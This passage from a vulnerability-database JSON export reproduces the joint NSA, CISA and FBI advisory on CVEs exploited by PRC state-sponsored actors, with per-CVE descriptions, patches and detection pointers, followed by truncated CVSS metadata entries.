"obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-10-24T12:00:00", "id": "AA20-107A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-107a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:24:52", "description": "### Summary\n\nThis joint Cybersecurity Advisory (CSA) provides the top Common Vulnerabilities and Exposures (CVEs) used since 2020 by People\u2019s Republic of China (PRC) state-sponsored cyber actors as assessed by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). PRC state-sponsored cyber actors continue to exploit known vulnerabilities to actively target U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks.\n\nThis joint CSA builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\n\nNSA, CISA, and FBI urge U.S. and allied governments, critical infrastructure, and private sector organizations to apply the recommendations listed in the Mitigations section and Appendix A to increase their defensive posture and reduce the threat of compromise from PRC state-sponsored malicious cyber actors.\n\nFor more information on PRC state-sponsored malicious cyber activity, see CISA\u2019s [China Cyber Threat Overview and Advisories webpage](<https://www.cisa.gov/uscert/china>), FBI\u2019s [Industry Alerts](<https://www.ic3.gov/Home/IndustryAlerts>), and NSA\u2019s [Cybersecurity Advisories & Guidance](<https://www.nsa.gov/Press-Room/Cybersecurity-Advisories-Guidance/>). \n\nDownload the PDF version of this report: [pdf, 409 KB](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF>)\n\n### Technical Details\n\nNSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques\u2014some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.\n\nPRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.\n\n_Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020_\n\nVendor\n\n| \n\nCVE\n\n| \n\nVulnerability Type \n \n---|---|--- \n \nApache Log4j\n\n| \n\nCVE-2021-44228\n\n| \n\nRemote Code Execution \n \nPulse Connect Secure\n\n| \n\nCVE-2019-11510\n\n| \n\nArbitrary File Read \n \nGitLab CE/EE\n\n| \n\nCVE-2021-22205\n\n| \n\nRemote Code Execution \n \nAtlassian\n\n| \n\nCVE-2022-26134\n\n| \n\nRemote Code Execution \n \nMicrosoft Exchange\n\n| \n\nCVE-2021-26855\n\n| \n\nRemote Code Execution \n \nF5 Big-IP\n\n| \n\nCVE-2020-5902\n\n| \n\nRemote Code Execution \n \nVMware vCenter Server\n\n| \n\nCVE-2021-22005\n\n| \n\nArbitrary File Upload \n \nCitrix ADC\n\n| \n\nCVE-2019-19781\n\n| \n\nPath Traversal \n \nCisco Hyperflex\n\n| \n\nCVE-2021-1497\n\n| \n\nCommand Line Execution \n \nBuffalo WSR\n\n| \n\nCVE-2021-20090\n\n| \n\nRelative Path Traversal \n \nAtlassian Confluence Server and Data Center\n\n| \n\nCVE-2021-26084\n\n| \n\nRemote Code Execution \n \nHikvision Webserver\n\n| \n\nCVE-2021-36260\n\n| \n\nCommand Injection \n \nSitecore XP\n\n| \n\nCVE-2021-42237\n\n| \n\nRemote Code Execution \n \nF5 Big-IP\n\n| \n\nCVE-2022-1388\n\n| \n\nRemote Code Execution \n \nApache\n\n| \n\nCVE-2022-24112\n\n| \n\nAuthentication Bypass by Spoofing \n \nZOHO\n\n| \n\nCVE-2021-40539\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-26857\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-26858\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-27065\n\n| \n\nRemote Code Execution \n \nApache HTTP Server\n\n| \n\nCVE-2021-41773\n\n| \n\nPath Traversal \n \nThese state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see [People\u2019s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices](<https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3055748/nsa-cisa-and-fbi-expose-prc-state-sponsored-exploitation-of-network-providers-d/>).\n\n### Mitigations\n\nNSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.\n\n * Update and patch systems as soon as possible. Prioritize patching vulnerabilities identified in this CSA and other [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n * Utilize phishing-resistant multi-factor authentication whenever possible. Require all accounts with password logins to have strong, unique passwords, and change passwords immediately if there are indications that a password may have been compromised. \n * Block obsolete or unused protocols at the network edge. \n * Upgrade or replace end-of-life devices.\n * Move toward the Zero Trust security model. \n * Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity. \n\n\n## Appendix A\n\n_Table II: Apache CVE-2021-44228_\n\nApache CVE-2021-44228 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nApache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects. \n \n_Recommended Mitigations_\n\n * Apply patches provided by vendor and perform required system updates. \n \n_Detection Methods_\n\n * See vendor\u2019s [Guidance For Preventing, Detecting, and Hunting for Exploitation of the Log4j 2 Vulnerability](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>). \n \n_Vulnerable Technologies and Versions_\n\nThere are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check <https://nvd.nist.gov/vuln/detail/CVE-2021-44228>. \n \n_Table III: Pulse CVE-2019-11510_\n\nPulse CVE-2019-11510 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability. \n \n_Recommended Mitigations_\n\n * Apply patches provided by vendor and perform required system updates. \n \n_Detection Methods_\n\n * Use CISA\u2019s \u201cCheck Your Pulse\u201d Tool. \n \n_Vulnerable Technologies and Versions_\n\nPulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 \n \n_Table IV: GitLab CVE-2021-22205_\n\nGitLab CVE-2021-22205 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nAn issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution. \n \n_Recommended Mitigations_\n\n * Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab.\n * Hotpatch is available via GitLab. \n \n_Detection Methods_\n\n * Investigate logfiles.\n * Check GitLab Workhorse. \n \n_Vulnerable Technologies and Versions_\n\nGitlab CE/EE. \n \n_Table V: Atlassian CVE-2022-26134_\n\nAtlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1. \n \n_Recommended Mitigations_\n\n * Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions. \n * Ensure Internet-facing servers are up-to-date and have secure compliance practices. \n * Short term workaround is provided [here](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>). \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nAll supported versions of Confluence Server and Data Center\n\nConfluence Server and Data Center versions after 1.3.0 \n \n_Table VI: Microsoft CVE-2021-26855_\n\nMicrosoft CVE-2021-26855 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity. \n \n_Recommended Mitigations_\n\n * Apply the appropriate Microsoft Security Update.\n * Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871)\n * Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871)\n * Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871)\n * Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871)\n * Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871)\n * Restrict untrusted connections. \n \n_Detection Methods_\n\n * Analyze Exchange product logs for evidence of exploitation.\n * Scan for known webshells. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange 2013, 2016, and 2019. \n \n_Table VII: F5 CVE-2020-5902_\n\nF5 CVE-2020-5902 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. \n \n_Recommended Mitigations_\n\n * Apply FY BIG-IP Update.\n * Restrict access to the configuration utility. \n \n_Detection Methods_\n\n * Use F5\u2019s [CVE-2020-5902 IoC Detection Tool](<https://github.com/f5devcentral/cve-2020-5902-ioc-bigip-checker/>).\n * Additional detection methods can be found at <https://support.f5.com/csp/article/K52145254>. \n \n_Vulnerable Technologies and Versions_\n\nF5 Big-IP Access Policy Manager\n\nF5 Big-IP Advanced Firewall Manager\n\nF5 Big-IP Advanced Web Application Firewall\n\nF5 Big-IP Analytics\n\nF5 Big-IP Application Acceleration Manager\n\nF5 Big-IP Application Security Manager\n\nF5 Big-IP Ddos Hybrid Defender\n\nF5 Big-IP Domain Name System (DNS)\n\nF5 Big-IP Fraud Protection Service (FPS)\n\nF5 Big-IP Global Traffic Manager (GTM)\n\nF5 Big-IP Link Controller\n\nF5 Networks Big-IP Local Traffic Manager (LTM)\n\nF5 Big-IP Policy Enforcement Manager (PEM)\n\nF5 SSL Orchestrator \n \n_References_\n\n<https://support.f5.com/csp/article/K00091341>\n\n<https://support.f5.com/csp/article/K07051153>\n\n<https://support.f5.com/csp/article/K20346072>\n\n<https://support.f5.com/csp/article/K31301245>\n\n<https://support.f5.com/csp/article/K33023560>\n\n<https://support.f5.com/csp/article/K43638305>\n\n<https://support.f5.com/csp/article/K52145254>\n\n<https://support.f5.com/csp/article/K82518062> \n \n_Table VIII: VMware CVE-2021-22005_\n\nVMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThe vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file. \n \n_Recommended Mitigations_\n\n * Apply Vendor Updates. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nVMware Cloud Foundation\n\nVMware VCenter Server \n \n_Table IX: Citrix CVE-2019-19781_\n\nCitrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. \n \n_Recommended Mitigations_\n\n * Apply vendor [mitigations](<https://support.citrix.com/article/CTX267679/mitigation-steps-for-cve201919781>).\n * Use the CTX269180 - [CVE-2019-19781 Verification Tool](<https://support.citrix.com/article/CTX269180/cve201919781-verification-tool>) provided by Citrix. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nCitrix ADC, Gateway, and SD-WAN WANOP \n \n_Table X: Cisco CVE-2021-1497_\n\nCisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nMultiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory. \n \n_Recommended Mitigations_\n\n * Apply Cisco software updates. \n \n_Detection Methods_\n\n * Look at the Snort [Rules](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR#details>) provided by Cisco. \n \n_Vulnerable Technologies and Versions_\n\nCisco Hyperflex Hx Data Platform 4.0(2A) \n \n_Table XI: Buffalo CVE-2021-20090_\n\nBuffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nA path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication. \n \n_Recommended Mitigations_\n\n * Update firmware to latest available version. \n \n_Detection Methods_\n\n * N/A \n \n_Vulnerable Technologies and Versions_\n\nBuffalo Wsr-2533Dhpl2-Bk Firmware\n\nBuffalo Wsr-2533Dhp3-Bk Firmware \n \n_Table XII: Atlassian CVE-2021-26084_\n\nAtlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5. \n \n_Recommended Mitigations_\n\n * Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0.\n * Avoid using end-of-life devices.\n * Use Intrusion Detection Systems (IDS). \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nAtlassian Confluence\n\nAtlassian Confluence Server\n\nAtlassian Data Center\n\nAtlassian Jira Data Center \n \n_Table XIII: Hikvision CVE-2021-36260_\n\nHikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands. \n \n_Recommended Mitigations_\n\n * Apply the latest firmware updates. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nVarious Hikvision Firmware to include Ds, Ids, and Ptz \n \n_References_\n\n<https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260> \n \n_Table XIV: Sitecore CVE-2021-42237_\n\nSitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nSitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability. \n \n_Recommended Mitigations_\n\n * Update to latest version.\n * Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx. \n \n_Detection Methods_\n\n * N/A \n \n_Vulnerable Technologies and Versions_\n\nSitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2\n\nSitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7\n\nSitecore Experience Platform 8.0 Service Pack 1\n\nSitecore Experience Platform 8.1, and Update 1-Update 3\n\nSitecore Experience Platform 8.2, and Update 1-Update 7 \n \n_Table XV: F5 CVE-2022-1388_\n\nF5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. \n \n_Recommended Mitigations_\n\n * Block iControl REST access through the self IP address.\n * Block iControl REST access through the management interface.\n * Modify the BIG-IP httpd configuration. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nBig IP versions:\n\n16.1.0-16.1.2\n\n15.1.0-15.1.5\n\n14.1.0-14.1.4\n\n13.1.0-13.1.4\n\n12.1.0-12.1.6\n\n11.6.1-11.6.5 \n \n_Table XVI: Apache CVE-2022-24112_\n\nApache CVE-2022-24112 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nA malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed. \n \n_Recommended Mitigations_\n\n * In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX.\n * Update to 2.10.4 or 2.12.1. \n \n_Detection Methods_\n\nN/A \n \n_Vulnerable Technologies and Versions_\n\nApache APISIX between 1.3 and 2.12.1 (excluding 2.12.1)\n\nLTS versions of Apache APISIX between 2.10.0 and 2.10.4 \n \n_Table XVII: ZOHO CVE-2021-40539_\n\nZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nZoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution. \n \n_Recommended Mitigations_\n\n * Upgrade to latest version. \n \n_Detection Methods_\n\n * Run ManageEngine\u2019s detection tool.\n * Check for specific files and [logs](<https://www.manageengine.com/products/self-service-password/advisory/CVE-2021-40539.html>). \n \n_Vulnerable Technologies and Versions_\n\nZoho Corp ManageEngine ADSelfService Plus \n \n_Table XVIII: Microsoft CVE-2021-26857_\n\nMicrosoft CVE-2021-26857 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security.\n * Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_Table XIX: Microsoft CVE-2021-26858_\n\nMicrosoft CVE-2021-26858 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n * Hashes can be found here: <https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log>. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_Table XX: Microsoft CVE-2021-27065_\n\nMicrosoft CVE-2021-27065 CVSS 3.0: 7.8 (High) \n \n--- \n \n_Vulnerability Description_\n\nMicrosoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. \n \n_Recommended Mitigations_\n\n * Update to support latest version.\n * Install Microsoft security patch.\n * Use Microsoft Exchange On-Premises Mitigation Tool. \n \n_Detection Methods_\n\n * Run Exchange script: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n * Hashes can be found here: <https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log>. \n \n_Vulnerable Technologies and Versions_\n\nMicrosoft Exchange Servers \n \n_References_\n\n<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065> \n \n_Table XXI: Apache CVE-2021-41773_\n\nApache CVE-2021-41773 CVSS 3.0: 7.5 (High) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied,\" these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013). \n \n_Recommended Mitigations_\n\n * Apply update or patch. \n \n_Detection Methods_\n\n * Commercially available scanners can detect CVE. \n \n_Vulnerable Technologies and Versions_\n\nApache HTTP Server 2.4.49 and 2.4.50\n\nFedoraproject Fedora 34 and 35\n\nOracle Instantis Enterprise Track 17.1-17.3\n\nNetapp Cloud Backup \n \n### Revisions\n\nInitial Publication: October 6, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-06T12:00:00", "type": "ics", "title": "Top CVEs Actively Exploited By People\u2019s Republic of China State-Sponsored Cyber Actors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-06T12:00:00", "id": "AA22-279A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-279a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2021-12-10T15:20:04", "description": "# Exchange_IOC_Hunter\n\n#### Description:\n\nHunt for IOCs in IIS L...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T10:36:44", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26855"], "modified": "2021-03-17T10:22:07", "id": "F3D43FE5-47AE-591C-A2DD-8F92BC12D9A8", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-15T01:18:31", "description": "### This project has been discontinued\n\nPlease use Microsoft too...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-05T08:22:07", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26858", "CVE-2021-26857", "CVE-2021-27065", "CVE-2021-26855"], "modified": "2022-02-14T23:14:09", "id": "37EE4A49-AEF7-5A71-AC1C-4B55CB94DD92", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:21:20", "description": " ove...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-10T05:21:19", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, 